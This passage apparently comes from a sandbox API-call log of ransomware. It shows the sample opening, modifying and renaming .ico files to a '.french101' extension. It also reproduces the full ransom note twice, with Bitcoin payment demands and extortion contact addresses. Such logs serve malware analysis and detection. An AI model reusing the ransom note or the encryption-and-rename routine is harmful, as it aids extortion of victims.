lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0284.605] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.605] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.605] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.605] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.605] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico", dwFileAttributes=0x20) returned 1 [0284.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.606] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.606] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0284.606] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.606] SetFilePointer (in: hFile=0x308, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0284.606] WriteFile (in: hFile=0x308, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.673] CloseHandle (hObject=0x308) returned 1 [0284.674] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.674] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.674] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0284.674] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.674] SetFilePointer (in: hFile=0x308, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.674] SetEndOfFile (hFile=0x308) returned 1 [0284.676] CloseHandle (hObject=0x308) returned 1 [0284.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.679] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.680] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.680] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.698] CloseHandle (hObject=0x308) returned 1 [0284.698] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\xIH7u2S==HngjYvKwL4AyNR4Mj46kk.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\xih7u2s==hngjyvkwl4aynr4mj46kk.french101")) returned 1 [0284.699] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\xIH7u2S==HngjYvKwL4AyNR4Mj46kk.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\xih7u2s==hngjyvkwl4aynr4mj46kk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.699] CloseHandle (hObject=0x308) returned 1 [0284.699] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\xIH7u2S==HngjYvKwL4AyNR4Mj46kk.french101", dwFileAttributes=0x80) returned 1 [0284.699] CloseHandle (hObject=0x308) returned 0 [0284.700] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.700] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0284.700] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0284.700] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0284.700] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.700] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.700] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.700] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.700] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.700] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.701] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.701] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.701] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0284.701] CloseHandle (hObject=0x308) returned 1 [0284.701] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.701] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.701] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.701] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.701] CharLowerBuffW (in: lpsz="Rotate2.ico", cchLength=0xb | out: lpsz="rotate2.ico") returned 0xb [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.701] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.702] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0284.702] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0284.702] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.702] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.702] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0284.702] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.702] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico", dwFileAttributes=0x20) returned 1 [0284.703] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.703] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.703] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37e [0284.703] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.703] SetFilePointer (in: hFile=0x308, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x37e [0284.703] WriteFile (in: hFile=0x308, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0284.717] CloseHandle (hObject=0x308) returned 1 [0284.718] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.718] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.718] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x37f [0284.718] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0284.718] SetFilePointer (in: hFile=0x308, lDistanceToMove=894, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.718] SetEndOfFile (hFile=0x308) returned 1 [0284.721] CloseHandle (hObject=0x308) returned 1 [0284.721] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.721] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.721] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x37e [0284.721] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0284.827] CloseHandle (hObject=0x308) returned 1 [0284.828] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate2.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate2.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\ADSxsQxhSkGC59uQuRyt6TmPGiGZMA.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\adsxsqxhskgc59uquryt6tmpgigzma.french101")) returned 1 [0284.828] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\ADSxsQxhSkGC59uQuRyt6TmPGiGZMA.french101" (normalized: "c:\\588bce7c90097ed212\\graphics\\adsxsqxhskgc59uquryt6tmpgigzma.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.829] CloseHandle (hObject=0x308) returned 1 [0284.829] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\ADSxsQxhSkGC59uQuRyt6TmPGiGZMA.french101", dwFileAttributes=0x80) returned 1 [0284.829] CloseHandle (hObject=0x308) returned 0 [0284.829] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0284.829] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0x6da210 [0284.829] FileTimeToLocalFileTime (in: lpFileTime=0x19e5a4, lpLocalFileTime=0x19e524 | out: lpLocalFileTime=0x19e524) returned 1 [0284.829] FileTimeToDosDateTime (in: lpFileTime=0x19e524, lpFatDate=0x19e572, lpFatTime=0x19e570 | out: lpFatDate=0x19e572, lpFatTime=0x19e570) returned 1 [0284.829] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0284.830] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\graphics\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x308 [0284.830] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.830] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.830] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.830] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.830] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x87f [0284.830] SetFilePointer (in: hFile=0x308, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e778*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e778*=0) returned 0x0 [0284.830] ReadFile (in: hFile=0x308, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19e79c, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19e79c*=0x87f, lpOverlapped=0x0) returned 1 [0284.830] CloseHandle (hObject=0x308) returned 1 [0284.830] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0284.831] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0284.831] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0284.831] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0284.831] CharLowerBuffW (in: lpsz="Rotate3.ico", cchLength=0xb | out: lpsz="rotate3.ico") returned 0xb [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3è\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rè\x19", lpUsedDefaultChar=0x0) returned 1 [0284.831] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0284.831] CharLowerBuffW (in: lpsz=".ico", cchLength=0x4 | out: lpsz=".ico") returned 0x4 [0284.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ico", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".icoco ", lpUsedDefaultChar=0x0) returned 4 [0284.832] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0284.832] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0284.832] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 